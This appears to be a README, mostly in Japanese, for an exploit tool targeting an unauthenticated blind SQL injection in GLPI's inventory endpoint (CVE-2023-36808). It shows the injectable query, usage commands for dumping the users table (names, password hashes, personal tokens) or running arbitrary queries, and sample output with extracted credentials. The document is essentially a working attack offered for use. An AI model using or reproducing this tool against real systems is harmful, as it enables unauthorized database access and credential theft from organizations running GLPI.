
GLPI cve-2023-36808
GLPIバージョン < 10.0.10 は、/front/inventory.php に未認証のXMLインベントリエンドポイントを公開しています。
<deviceid> フィールドはサニタイズなしでSQLクエリに直接注入されます:
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'
認証は不要です。この脆弱性により、ブラインドSQLインジェクションを介してデータベース全体の読み取りアクセスが可能になります。
このスクリプトは、二進探索を用いた時間ベースのブラインドインジェクション を使用して、一般的なツールよりも大幅に高速にデータを抽出します。
pip install -r requirements.txt
# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi
# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"
# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3
# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep : 0.5s Threshold: 0.35s Parallel: 2
[+] Target reachable
[+] Injection confirmed
[*] User 1/7
name glpi
password $2y$10$xN.12pQxSLlQdMJzP26EWe...
personal_token xxxx
...